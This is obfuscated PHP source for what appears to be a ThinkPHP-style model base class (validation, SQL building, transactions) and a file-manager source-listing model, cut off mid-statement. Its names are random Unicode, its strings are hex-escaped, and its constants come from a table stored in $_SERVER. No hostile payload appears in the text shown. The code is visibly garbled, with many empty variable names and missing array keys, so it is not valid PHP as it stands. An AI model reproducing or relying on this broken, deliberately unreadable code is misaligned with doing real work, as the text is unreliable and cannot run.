if (think_config($Ô[383])) { $ӆ = think_config($Ô[384]); if (!isset($ϳȗ[$ӆ]) || Session::get($ӆ)) { return !1; } list($, $罣) = explode($Ô[11], $ϳȗ[$ӆ]); if ($罣 && Session::get($ӆ . $Ô[10] . $) === $罣) { Session::remove($ӆ . $Ô[10] . $); return !0; } if (think_config($Ô[387])) { Session::remove($ӆ . $Ô[10] . $); } return !1; } return !0; } public function regex($π, $콰) { $ի =& $_SERVER[]; $Ș = array($ի[388] => $ի[389], $ի[390] => $ի[391], $ի[392] => $ի[393], $ի[394] => $ի[395], $ի[396] => $ի[397], $ի[398] => $ի[399], $ի[400] => $ի[401], $ի[375] => $ի[402], $ի[403] => $ի[404]); if (isset($Ș[strtolower($콰)])) { $콰 = $Ș[strtolower($콰)]; } return preg_match($콰, $π) === 1; } private function autoOperation(&$ϖ, $֨ͷ) { $Ͷъ =& $_SERVER[]; if (!empty($this->options[$Ͷъ[405]])) { $˟ = $this->options[$Ͷъ[405]]; unset($this->options[$Ͷъ[405]]); } elseif (!empty($this->_auto)) { $˟ = $this->_auto; } if (isset($˟)) { foreach ($˟ as $ԅ¢) { if (empty($ԅ¢[2])) { $ԅ¢[2] = THINK_MODEL_INSERT; } if ($֨ͷ == $ԅ¢[2] || $ԅ¢[2] == THINK_MODEL_BOTH) { switch (trim($ԅ¢[3])) { case $Ͷъ[406]: case $Ͷъ[407]: $̓ = isset($ԅ¢[4]) ? (array) $ԅ¢[4] : array(); if (isset($ϖ[$ԅ¢[0]])) { array_unshift($̓, $ϖ[$ԅ¢[0]]); } if ($Ͷъ[406] == $ԅ¢[3]) { $ϖ[$ԅ¢[0]] = call_user_func_array($ԅ¢[1], $̓); } else { $ϖ[$ԅ¢[0]] = call_user_func_array(array(&$this, $ԅ¢[1]), $̓); } break; case $Ͷъ[359]: $ϖ[$ԅ¢[0]] = $ϖ[$ԅ¢[1]]; break; case $Ͷъ[408]: if ($Ͷъ[12] === $ϖ[$ԅ¢[0]]) { unset($ϖ[$ԅ¢[0]]); } break; case $Ͷъ[409]: default: $ϖ[$ԅ¢[0]] = $ԅ¢[1]; } if (!1 === $ϖ[$ԅ¢[0]]) { unset($ϖ[$ԅ¢[0]]); } } } } return $ϖ; } protected function autoValidation($ż, $ͭ) { $ќ֒ =& $_SERVER[]; if (!empty($this->options[$ќ֒[410]])) { $ֽ = $this->options[$ќ֒[410]]; unset($this->options[$ќ֒[410]]); } elseif (!empty($this->_validate)) { $ֽ = $this->_validate; } if (isset($ֽ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ֽ as $ => $ߺ) { if (empty($ߺ[5]) || $ߺ[5] == THINK_MODEL_BOTH || $ߺ[5] == $ͭ) { if (0 == strpos($ߺ[2], $ќ֒[411]) && strpos($ߺ[2], $ќ֒[412])) { $ߺ[2] = think_lang(substr($ߺ[2], 2, -1)); } $ߺ[3] = isset($ߺ[3]) ? $ߺ[3] : THINK_EXISTS_VALIDATE; $ߺ[4] = isset($ߺ[4]) ? $ߺ[4] : $ќ֒[413]; switch ($ߺ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($ż, $ߺ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($ќ֒[12] != trim($ż[$ߺ[0]])) { if (!1 === $this->_validationField($ż, $ߺ)) { return !1; } } break; default: if (isset($ż[$ߺ[0]])) { if (!1 === $this->_validationField($ż, $ߺ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($Ä, $) { if (!1 === $this->_validationFieldItem($Ä, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($㔤, $Ѕ) { $ =& $_SERVER[]; switch (strtolower(trim($Ѕ[4]))) { case $[406]: case $[407]: $򖥈 = isset($Ѕ[6]) ? (array) $Ѕ[6] : array(); if (is_string($Ѕ[0]) && strpos($Ѕ[0], $[50])) { $Ѕ[0] = explode($[50], $Ѕ[0]); } if (is_array($Ѕ[0])) { foreach ($Ѕ[0] as $䏉) { $ɰ[$䏉] = $㔤[$䏉]; } array_unshift($򖥈, $ɰ); } else { array_unshift($򖥈, $㔤[$Ѕ[0]]); } if ($[406] == $Ѕ[4]) { return call_user_func_array($Ѕ[1], $򖥈); } else { return call_user_func_array(array(&$this, $Ѕ[1]), $򖥈); } case $[414]: return $㔤[$Ѕ[0]] == $㔤[$Ѕ[1]]; case $[415]: if (is_string($Ѕ[0]) && strpos($Ѕ[0], $[50])) { $Ѕ[0] = explode($[50], $Ѕ[0]); } $﹢ = array(); if (is_array($Ѕ[0])) { foreach ($Ѕ[0] as $䏉) { $﹢[$䏉] = $㔤[$䏉]; } } else { $﹢[$Ѕ[0]] = $㔤[$Ѕ[0]]; } if (!empty($㔤[$this->getPk()])) { $﹢[$this->getPk()] = array($[416], $㔤[$this->getPk()]); } if ($this->where($﹢)->find()) { return !1; } return !0; default: return $this->check($㔤[$Ѕ[0]], $Ѕ[1], $Ѕ[4]); } } public function check($, $, $ = "\x72\x65\147\145\x78") { $򽗪 =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $򽗪[7]: case $򽗪[417]: $¸ = is_array($) ? $ : explode($򽗪[50], $); return $ == $򽗪[7] ? in_array($, $¸) : !in_array($, $¸); case $򽗪[418]: case $򽗪[419]: if (is_array($)) { $߂ = $[0]; $ = $[1]; } else { list($߂, $) = explode($򽗪[50], $); } return $ == $򽗪[418] ? $ >= $߂ && $ <= $ : $ < $߂ || $ > $; case $򽗪[420]: case $򽗪[421]: return $ == $򽗪[420] ? $ == $ : $ != $; case $򽗪[422]: $ͦ = mb_strlen($, $򽗪[423]); if (strpos($, $򽗪[50])) { list($߂, $) = explode($򽗪[50], $); return $ͦ >= $߂ && $ͦ <= $; } else { return $ͦ == $; } case $򽗪[424]: list($, $) = explode($򽗪[50], $); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ && NOW_TIME <= $; case $򽗪[425]: return in_array(get_client_ip(), explode($򽗪[50], $)); case $򽗪[426]: return !in_array(get_client_ip(), explode($򽗪[50], $)); case $򽗪[413]: default: return $this->regex($, $); } } public function query($㚀, $ģ = false) { $ňdz =& $_SERVER[]; if (!is_bool($ģ) && !is_array($ģ)) { $ģ = func_get_args(); array_shift($ģ); } $㚀 = str_replace(array($ňdz[65], $ňdz[427]), $ňdz[53], $㚀); $㚀 = $this->parseSql($㚀, $ģ); return $this->db->query($㚀); } public function execute($, $ٮُ = false) { if (!is_bool($ٮُ) && !is_array($ٮُ)) { $ٮُ = func_get_args(); array_shift($ٮُ); } $ = $this->parseSql($, $ٮُ); return $this->db->execute($); } protected function parseSql($Ç, $) { $ۗ =& $_SERVER[]; if (!0 === $) { $ = $this->_parseOptions(); $Ç = $this->db->parseSql($Ç, $); } elseif (is_array($)) { $ = array_map(array($this->db, $ۗ[428]), $); $Ç = vsprintf($Ç, $); } else { $Ç = strtr($Ç, array($ۗ[429] => $this->getTableName(), $ۗ[430] => think_config($ۗ[330]))); } $this->db->setModel($this->name); return $Ç; } public function db($я = '', $򶅁 = '', $޿ = array()) { $ =& $_SERVER[]; if ($[12] === $я && $this->db) { return $this->db; } static $ܺ = array(); static $Ǵ = array(); if (!isset($Ǵ[$я]) || isset($Ǵ[$я]) && $򶅁 && $ܺ[$я] != $򶅁) { if (!empty($򶅁) && is_string($򶅁) && !1 === strpos($򶅁, $[8])) { $򶅁 = think_config($򶅁); } $я = think_guid($򶅁); $Ǵ[$я] = Db::getInstance($򶅁); } elseif (NULL === $򶅁) { $Ǵ[$я]->close(); unset($Ǵ[$я]); return; } if (!empty($޿)) { if (is_string($޿)) { parse_str($޿, $޿); } foreach ($޿ as $܉󪕷 => $㉍) { $this->setProperty($܉󪕷, $㉍); } } $ܺ[$я] = $򶅁; $this->db = $Ǵ[$я]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[][431]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $᎕ =& $_SERVER[]; if (empty($this->trueTableName)) { $ק = !empty($this->tablePrefix) ? $this->tablePrefix : $᎕[12]; if (!empty($this->tableName)) { $ק .= $this->tableName; } else { $ק .= think_parse_name($this->name); } $this->trueTableName = strtolower($ק); } return (!empty($this->dbName) ? $this->dbName . $᎕[10] : $᎕[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ʁ =& $_SERVER[]; return isset($this->fields[$ʁ[337]]) ? $this->fields[$ʁ[337]] : $this->pk; } public function getDbFields() { $֒ =& $_SERVER[]; if (isset($this->options[$֒[365]])) { $Լ = $this->db->getFields($this->options[$֒[365]]); return $Լ ? array_keys($Լ) : !1; } if ($this->fields) { $Լ = $this->fields; unset($Լ[$֒[336]], $Լ[$֒[337]], $Լ[$֒[338]], $Լ[$֒[335]]); return $Լ; } return !1; } public function data($ = '') { $ =& $_SERVER[]; if ($[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[357])); } $this->data = $; return $this; } public function join($𦦆) { $Ϧ =& $_SERVER[]; if (is_array($𦦆)) { $this->options[$Ϧ[368]] = $𦦆; } elseif (!empty($𦦆)) { $this->options[$Ϧ[368]][] = $𦦆; } return $this; } public function union($, $ = false) { $ =& $_SERVER[]; if (empty($)) { return $this; } if ($) { $this->options[$[432]][$[433]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$[432]] = array_merge($this->options[$[432]], $); return $this; } else { $ = $; } } else { think_exception(think_lang($[357])); } $this->options[$[432]][] = $; return $this; } public function cache($ = true, $׺ = null, $ = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[434]] = array($[107] => $, $[424] => $׺, $[33] => $); } return $this; } public function field($۞, $Ԧ = false) { $ܫիϼ =& $_SERVER[]; if (!0 === $۞) { $ʲ = $this->getDbFields(); $۞ = $ʲ ? $ʲ : $ܫիϼ[230]; } elseif ($Ԧ) { if (is_string($۞)) { $۞ = explode($ܫիϼ[50], $۞); } $ʲ = $this->getDbFields(); $۞ = $ʲ ? array_diff($ʲ, $۞) : $۞; } $this->options[$ܫիϼ[359]] = $۞; return $this; } public function scope($ = '', $҇ = NULL) { $Ǫ =& $_SERVER[]; if ($Ǫ[12] === $) { if (isset($this->_scope[$Ǫ[37]])) { $ = $this->_scope[$Ǫ[37]]; } else { return $this; } } elseif (is_string($)) { $Н = explode($Ǫ[50], $); $ = array(); foreach ($Н as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($, $this->_scope[$]); } if (!empty($҇) && is_array($҇)) { $ = array_merge($, $҇); } } elseif (is_array($)) { $ = $; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($, $҆ = null) { $¯ =& $_SERVER[]; if (!is_null($҆) && is_string($)) { if (!is_array($҆)) { $҆ = func_get_args(); array_shift($҆); } $҆ = array_map(array($this->db, $¯[428]), $҆); $ = vsprintf($, $҆); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $Ͳ => $ʓ) { if ((is_numeric($Ͳ) || !$Ͳ) && is_string($ʓ)) { if (strpos($ʓ, $¯[435]) === 0) { continue; } think_trace($¯[436], $¯[12], $¯[49]); die; } } } if (is_string($) && $¯[12] != $) { $ӽ = array(); $ӽ[$¯[437]] = $; $ = $ӽ; } if (isset($this->options[$¯[361]])) { $this->options[$¯[361]] = array_merge($this->options[$¯[361]], $); } else { $this->options[$¯[361]] = $; } return $this; } public function limit($, $Ս = null) { $ =& $_SERVER[]; $this->options[$[377]] = is_null($Ս) ? $ : $ . $[50] . $Ս; return $this; } public function page($ؔ, $ = null) { $ƞ =& $_SERVER[]; $this->options[$ƞ[438]] = is_null($) ? $ؔ : $ؔ . $ƞ[50] . $; return $this; } public function comment($ͼώ) { $this->options[$_SERVER[][439]] = $ͼώ; return $this; } public function setProperty($ŏ, $) { if (property_exists($this, $ŏ)) { $this->{$ŏ} = $; } return $this; } } goto b; fѪ: class SourceListModel extends ModelBase { protected $tableName = "\151\157\x5f\163\x6f\x75\x72\x63\145"; protected $tableMeta = array("\164\x61\x62\154\145\116\141\155\145" => "\x69\x6f\x5f\x73\157\x75\162\x63\x65\137\155\x65\x74\x61", "\x6d\x65\x74\x61\106\x69\x65\154\x64" => "\x73\157\x75\162\143\145\x49\104"); protected $dataAuto = array(array("\155\x6f\144\x69\146\171\124\151\x6d\x65", "\164\x69\x6d\145", "\151\156\163\145\162\x74", "\146\x75\156\143\164\x69\157\x6e"), array("\143\162\x65\x61\x74\x65\124\x69\x6d\x65", "\164\151\x6d\x65", "\151\156\x73\x65\x72\164", "\x66\165\x6e\143\164\x69\157\x6e"), array("\x76\x69\x65\x77\x54\x69\155\145", "\x74\x69\155\145", "\151\156\163\x65\x72\164", "\x66\165\156\x63\164\151\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][486] => $)); } public function typeName($Ҽ) { static $Ĕ = array(self::TYPE_SYSTEM => "\x73\171\163\x74\x65\x6d", self::TYPE_USER => "\165\x73\145\162", self::TYPE_GROUP => "\x67\162\x6f\x75\160"); return $Ĕ[$Ҽ . $_SERVER[][12]]; } public function sourceListInfo($, $ǣ = false) { $ߤ =& $_SERVER[]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ٌ = $this->where(array($ߤ[203] => array($ߤ[7], $)))->select(); $this->_listDataApply($ٌ, $ǣ); return array_to_keyvalue($ٌ, $ߤ[203]); } public function pathInfoFilter(&$ȟ) { $߈辧 =& $_SERVER[]; static $ۻ· = false; static $Ƥ = false; static $͠ = false; if (!$ۻ·) { $ᨷ = $߈辧[487]; $ᨷ .= $߈辧[488]; $ᨷ .= $߈辧[489]; $ďé = $߈辧[490]; $ՎЙ = explode($߈辧[50], $ďé); $ۻ· = explode($߈辧[50], $ᨷ); $Ƥ = array(); foreach ($ۻ· as $ا) { if (in_array($ا, $ՎЙ)) { continue; } $Ƥ[] = $ا; } $͠ = explode($߈辧[50], $߈辧[491]); } foreach ($͠ as $֯) { if (isset($ȟ[$֯])) { $ȟ[$֯] = intval($ȟ[$֯]); } } $ȟ[$߈辧[97]] = $߈辧[492] . $ȟ[$߈辧[203]] . $߈辧[493]; $ȟ[$߈辧[33]] = $ȟ[$߈辧[494]] == 1 ? $߈辧[88] : $߈辧[240]; $ȟ[$߈辧[200]] = $this->typeName($ȟ[$߈辧[200]]); if ($ȟ[$߈辧[494]] != 1) { $ȟ[$߈辧[179]] = $ȟ[$߈辧[495]]; unset($ȟ[$߈辧[495]]); } $ = $ۻ·; if (isset($ȟ[$߈辧[496]]) && $ȟ[$߈辧[496]][$߈辧[497]] == -1) { $ = $Ƥ; } $ȟ = array_field_key($ȟ, $); return $ȟ; } public function listUserFav() { $ =& $_SERVER[]; $ = Model($[498])->listData(); $ϱݣ = array_filter_by_field($, $[33], $[499]); $ϱݣ = array_to_keyvalue($ϱݣ, $[12], $[97]); if ($ϱݣ) { $ߤ = $this->listSource(array($[500] => array($[501], $ϱݣ))); } $ߤ = array_to_keyvalue($ߤ[$[454]], $[203]); foreach ($ as &$) { $ = array($[502] => $[$[484]], $[503] => $[$[32]], $[504] => $[$[97]], $[505] => $[$[33]], $[506] => $[$[241]], $[507] => $[$[98]]); if ($[$[33]] == $[499] && $ߤ[$[$[97]]]) { $[$[100]] = $ߤ[$[$[97]]]; } } unset($); return $; } public function listUserTag($ٌ) { $ϊ =& $_SERVER[]; if ($ٌ && !is_array($ٌ)) { $ٌ = array($ٌ); } $˞ = Model($ϊ[508])->listData(); $拻 = array(); $ެ = array(); foreach ($˞ as $) { $գ = $[$ϊ[97]]; if (!$գ) { continue; } if (!isset($ެ[$գ])) { $ެ[$գ] = array(); } $ެ[$գ][] = $[$ϊ[509]]; $拻[$[$ϊ[97]]] = $; } $ȱ = array(); $𿻨 = array(); $ = array(); foreach ($ެ as $ => $) { $ן = !0; if (!$ٌ) { $ȱ[] = $; continue; } foreach ($ٌ as $ʽ) { if (!in_array($ʽ, $)) { $ן = !1; break; } } if (!$ן) { continue; } if (!is_numeric($)) { $ = $拻[$]; $ˈ = array($ϊ[32] => $[$ϊ[32]], $ϊ[97] => $[$ϊ[97]], $ϊ[33] => $[$ϊ[33]], $ϊ[100] => array($ϊ[510] => 1), $ϊ[242] => !0); if ($[$ϊ[33]] == $ϊ[240]) { $[] = $ˈ; } if ($[$ϊ[33]] == $ϊ[88]) { $𿻨[] = $ˈ; } continue; } $ȱ[] = $; } if ($ȱ) { $Ȼ鸄 = $this->listSource(array($ϊ[500] => array($ϊ[501], $ȱ))); } $Ȼ鸄 = $Ȼ鸄 ? $Ȼ鸄 : array($ϊ[95] => array(), $ϊ[96] => array()); $Ȼ鸄[$ϊ[95]] = array_merge($Ȼ鸄[$ϊ[95]], $𿻨); $Ȼ鸄[$ϊ[96]] = array_merge($Ȼ鸄[$ϊ[96]], $); if (isset($Ȼ鸄[$ϊ[451]]) && count($ȱ) == $Ȼ鸄[$ϊ[451]][$ϊ[452]]) { return $Ȼ鸄; } $ = array(); $ = array_to_keyvalue($Ȼ鸄[$ϊ[95]], $ϊ[12], $ϊ[203]); $Ũ = array_to_keyvalue($Ȼ鸄[$ϊ[96]], $ϊ[12], $ϊ[203]); $ = array_merge($Ũ, $); foreach ($ȱ as $գ) { if (!in_array($գ, $)) { $[] = $գ; } } if ($) { Model($ϊ[511])->removeBySource($); } return $Ȼ鸄; } public function listUserRecycle() { $̠ =& $_SERVER[]; $༚ = Model($̠[512])->listData(); if (!$༚) { return array(); } $ۆ = array($̠[500] => array($̠[501], $༚), $̠[513] => 1); return $this->listSource($ۆ); } public function listSource($, $ү = 3000, $Ġ˱ = false) { $Ł =& $_SERVER[]; if (!isset($[$Ł[514]])) { $[$Ł[514]] = 0; } if (isset($[$Ł[202]]) && $[$Ł[202]] == $Ł[238]) { $[$Ł[495]] = array($Ł[416], $Ł[515]); } $ = $Ł[516]; $Ѱ = $this->field($)->_makeOrder()->where($)->selectPage($ү); $this->_listPageCheck($Ѱ, $, $); $this->_listDataApply($Ѱ[$Ł[454]], $Ġ˱); $this->_listMake($Ѱ); return $Ѱ; } private function _listPageCheck(&$, $״, $ٌ) { $ =& $_SERVER[]; if (!is_array($[$[451]])) { return; } $ͺ = $[$[451]]; if ($ͺ[$[453]] <= 1) { return; } if ($ͺ[$[452]] >= 100000) { return; } if (Model($[517])->get($[518]) != $[519]) { return; } $״ = str_replace(array($[53], $[427], $[65]), $[12], $״); $״ = $[520] . str_replace($[50], $[521], $״) . $[522]; $Ȅ = $[523]; $Ȅ = $Ȅ . $[524]; $в = $ͺ[$[448]] * ($ͺ[$[438]] - 1) . $[50] . $ͺ[$[448]]; $ = $this->_makeOrder(!0); $η᲻ = $[520] . str_replace($[50], $[521], $[0]); if (strpos($η᲻, $[525])) { $η᲻ = str_replace($[525], $[526], $η᲻); } else { $η᲻ .= $[527] . $[1]; } $ = array(); foreach ($ٌ as $֒Њ => $߷) { $[$[520] . $֒Њ] = $߷; } $this->alias($[528])->field($״)->limit($в)->order($η᲻); $ = $this->join($Ȅ)->where($)->select(); if ($) { $[$[454]] = $; } } protected function _makeOrder($᪔ = false) { $ =& $_SERVER[]; $ϧ = Model($[529])->get($[530]); $߭ = Model($[529])->get($[531]); $ڹࢡ = array($[532] => $[533], $[534] => $[535]); $ = array($[32] => $[32], $[89] => $[89], $[179] => $[495], $[536] => $[536], $[537] => $[538], $[241] => $[241], $[98] => $[98]); $ = Input::get($[539], $[7], $ϧ, array_keys($)); $ = Input::get($[540], $[7], $߭, array_keys($ڹࢡ)); if (!in_array($, array_keys($))) { $ = $[32]; } if (!in_array($, array_keys($ڹࢡ))) { $ = $[532]; } if ($ == $[32]) { } $ = $[541] . $[$] . $[53] . $ڹࢡ[$]; $ = rtrim(trim($), $[50]); if ($᪔) { return array($, $ڹࢡ[$]); } return $this->order($); } protected function _listDataApplyItem($, $ = false) { $뢅 = array($); $this->_listDataApply($뢅, $); return $뢅[0]; } protected function _listDataApply(&$ݸ, $Ϊ = false) { $ㅼ =& $_SERVER[]; if (!$ݸ) { $ݸ = array(); return; } $ = array_to_keyvalue($ݸ, $ㅼ[12], $ㅼ[203]); $ = array_unique($); $this->_listSourceCache($ݸ); if (!$Ϊ) { $this->_listAppendMeta($ݸ, $); $this->_listAppendFileMeta($ݸ, $); $this->_listAppendChildren($ݸ, $); } $this->_listAppendPath($ݸ); $this->_listAppendAuth($ݸ); $this->_listAppendSourceInfo($ݸ, $); $this->_listAppendUser($ݸ); $this->_listFilterInfo($ݸ, $Ϊ); $this->_listAppendAuthSecret($ݸ); } protected function _listSourceCache($) { $ =& $_SERVER[]; foreach ($ as $Ƞ) { self::$cacheSourceInfo[$[542] . $Ƞ[$[203]]] = $Ƞ; } } protected function _listFilterInfo(&$, $ = false) { $ɍ =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$ɍ[543] . intval($) . $ɍ[471] . $[$ɍ[203]]] = $; } unset($); } protected function _listMake(&$) { $ҷ =& $_SERVER[]; $[$ҷ[95]] = array(); $[$ҷ[96]] = array(); foreach ($[$ҷ[454]] as $޹) { $ = $޹[$ҷ[494]] == 1 ? $ҷ[95] : $ҷ[96]; $[$][] = $޹; } unset($[$ҷ[454]]); } protected function _listAppendMeta(&$, $Ԧ) { $難 =& $_SERVER[]; $ß = array($難[500] => array($難[501], $Ԧ)); $ˤ = Model($難[544])->field($難[545])->where($ß)->select(); if (!$ˤ) { return; } $Ǔ = array($難[546], $難[547], $難[526]); $䂾 = array(); foreach ($ˤ as $⭍ү) { if (!isset($䂾[$⭍ү[$難[203]]])) { $䂾[$⭍ү[$難[203]]] = array(); } if (in_array($⭍ү[$難[107]], $Ǔ)) { continue; } $䂾[$⭍ү[$難[203]]][$⭍ү[$難[107]]] = $⭍ү[$難[459]]; } foreach ($ as &$) { $[$難[548]] = !1; if (isset($䂾[$[$難[203]]])) { $[$難[548]] = $䂾[$[$難[203]]]; } if ($this->fileIsLock($) && $[$難[496]]) { $͘ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$難[496]][$難[497]] = AuthModel::authDisable($[$難[496]][$難[497]], $͘); $[$難[496]][$難[549]][$難[496]] = $[$難[496]][$難[497]]; } } unset($); } protected function _listAppendFileMeta(&$, $ˢ) { $̔ =& $_SERVER[]; $Ӣ = array_to_keyvalue($, $̔[12], $̔[550]); $Ӣ = array_filter(array_unique($Ӣ)); if (!$Ӣ) { return; } $ = array($̔[551] => array($̔[501], $Ӣ)); $焭 = $̔[552]; $쀠 = Model($̔[553])->field($焭)->where($)->select(); $쀠 = array_to_keyvalue($쀠, $̔[550]); $ȹ﷋ = Model($̔[554])->field($̔[555])->where($)->select(); $ȹ﷋ = $ȹ﷋ ? $ȹ﷋ : array(); $蕉 = array(); foreach ($ȹ﷋ as $’ڸ) { if (!isset($蕉[$’ڸ[$̔[550]]])) { $蕉[$’ڸ[$̔[550]]] = array(); } $蕉[$’ڸ[$̔[550]]][$’ڸ[$̔[107]]] = $’ڸ[$̔[459]]; } foreach ($ as &$) { $ = $[$̔[550]]; if (!$ || !is_array($쀠[$])) { continue; } $Ӎۺ = $쀠[$]; $Ӎۺ[$̔[89]] = $[$̔[89]]; $Ӎۺ[$̔[32]] = $[$̔[32]]; if (!$Ӎۺ[$̔[556]]) { Model($̔[553])->fileMd5Check($Ӎۺ); } if (!isset(self::$cacheFileInfo[$̔[557] . $])) { self::$cacheFileInfo[$̔[557] . $] = array_merge(array(), $Ӎۺ); } unset($쀠[$][$̔[97]]); $߯ = isset($蕉[$]) && is_array($蕉[$]) ? $蕉[$] : array(); $[$̔[180]] = array_merge($߯, $쀠[$]); if (isset($[$̔[180]][$̔[194]])) { $[$̔[194]] = json_decode($[$̔[180]][$̔[194]], !0); unset($[$̔[180]][$̔[194]]); } } unset($); } protected function _listAppendSourceInfo(&$ΝƝ, $) { $Ȓ =& $_SERVER[]; $拽ɇ = Model($Ȓ[558])->listData(); $ = Model($Ȓ[508])->listData(); $斍 = Model($Ȓ[498])->listData(); $ݔ = Model($Ȓ[559])->listSimple(); $Ʌ = array_to_keyvalue($拽ɇ, $Ȓ[484]); $’Ɖ = array_to_keyvalue_group($, $Ȓ[97], $Ȓ[509]); $Ԥڽ = array_to_keyvalue($斍, $Ȓ[97]); $ʵ = array_to_keyvalue_group($ݔ, $Ȓ[203]); foreach ($ΝƝ as &$ՃͿ) { $ՃͿ[$Ȓ[100]] = array($Ȓ[560] => 0, $Ȓ[561] => 0, $Ȓ[562] => 0); if (isset($Ԥڽ[$ՃͿ[$Ȓ[203]]])) { $ՃͿ[$Ȓ[100]][$Ȓ[563]] = 1; $ՃͿ[$Ȓ[100]][$Ȓ[564]] = $Ԥڽ[$ՃͿ[$Ȓ[203]]][$Ȓ[32]]; } if ($’Ɖ && $Ʌ && isset($’Ɖ[$ՃͿ[$Ȓ[203]]])) { $ՃͿ[$Ȓ[100]][$Ȓ[565]] = array(); foreach ($’Ɖ[$ՃͿ[$Ȓ[203]]] as $צ) { $Ŋ = $Ʌ[$צ]; $ՃͿ[$Ȓ[100]][$Ȓ[565]][] = array($Ȓ[566] => $Ŋ[$Ȓ[484]], $Ȓ[503] => $Ŋ[$Ȓ[32]], $Ȓ[567] => $Ŋ[$Ȓ[568]]); } } if ($ʵ && isset($ʵ[$ՃͿ[$Ȓ[203]]])) { $ՃͿ[$Ȓ[100]][$Ȓ[569]] = array(); foreach ($ʵ[$ՃͿ[$Ȓ[203]]] as $ڲˀ) { $׉ = $Ȓ[570]; if ($ڲˀ[$Ȓ[571]] == $Ȓ[101]) { $׉ .= $Ȓ[572]; } $ՃͿ[$Ȓ[100]][$Ȓ[569]] = array_field_key($ڲˀ, explode($Ȓ[50], $׉)); } } } unset($ՃͿ); return $ΝƝ; } protected function _listAppendChildren(&$οВ, $) { $п =& $_SERVER[]; $Ͳ = array(); $ = array($п[249] => 0, $п[250] => 0); foreach ($οВ as &$) { if (!$[$п[494]]) { continue; } $Ͳ[] = $[$п[203]]; } unset($); if (!$Ͳ) { return; } $ = array($п[202] => array($п[7], $Ͳ), $п[514] => 0); $ = array($п[202], $п[494], $п[573] => $п[574]); $ = $this->field($)->where($)->group($п[575])->select(); $ɥ = array(); foreach ($ as $Ҋ) { $ = $Ҋ[$п[202]]; $ՙԃ = $Ҋ[$п[494]] == $п[101] ? $п[250] : $п[249]; if (!isset($ɥ[$])) { $ɥ[$] = array($п[249] => 0, $п[250] => 0); } $ɥ[$][$ՙԃ] += $Ҋ[$п[574]]; } foreach ($οВ as &$) { if (!$[$п[494]]) { continue; } $ = is_array($ɥ[$[$п[203]]]) ? $ɥ[$[$п[203]]] : $; $[$п[250]] = $[$п[250]]; $[$п[249]] = $[$п[249]]; unset($[$п[495]]); } unset($); } protected function _listAppendAuth(&$¦) { $ԛ =& $_SERVER[]; $멆 = array(); foreach ($¦ as $) { if ($[$ԛ[200]] == self::TYPE_GROUP) { $멆[] = $[$ԛ[203]]; } } if (!$멆) { return; } $ӵ = array_to_keyvalue($¦, $ԛ[203]); $ = Model($ԛ[576])->getSourceList($멆, $ӵ); $Ⱥϳ = KodUser::isRoot(); foreach ($¦ as $嫺 => &$) { $[$ԛ[496]] = $[$[$ԛ[203]]]; if (!$[$ԛ[496]] && $[$ԛ[200]] == self::TYPE_GROUP) { $[$ԛ[496]] = Action($ԛ[577])->pathGroupAuthMake($[$ԛ[578]]); if (!$[$ԛ[496]] && !$Ⱥϳ) { $[$ԛ[243]] = !1; $[$ԛ[242]] = !1; } } if ($[$ԛ[496]]) { $[$ԛ[243]] = AuthModel::authCheckEdit($[$ԛ[496]][$ԛ[497]]); $[$ԛ[242]] = AuthModel::authCheckView($[$ԛ[496]][$ԛ[497]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ծ =& $_SERVER[]; if (Model($ծ[517])->get($ծ[579]) != $ծ[101]) { return; } static $ = false; if (!$) { $ = Model($ծ[580]); $ɖ = Model($ծ[581]); $ = $ɖ->listData(); $ = array_to_keyvalue($, $ծ[203]); $ɧ = json_decode(Model($ծ[517])->get($ծ[582]), !0); $ɧ = array_to_keyvalue($ɧ, $ծ[484]); foreach ($ as $ɱœ => $뱧) { $ = $ɧ[$뱧[$ծ[583]]]; if (!$) { $ɖ->remove($뱧[$ծ[484]]); unset($[$ɱœ]); continue; } $їʂ = $->listData($[$ծ[496]]); if (!$їʂ) { $ɖ->remove($뱧[$ծ[484]]); unset($[$ɱœ]); continue; } $뱧[$ծ[496]] = $їʂ; $뱧[$ծ[584]] = $; $뱧[$ծ[585]] = Model($ծ[586])->getInfoSimpleOuter($뱧[$ծ[536]]); $[$ɱœ] = $뱧; } } $Ó = USER_ID; $ = array(); $ϔ = $this->_listAppendPath($, !0); foreach ($ as 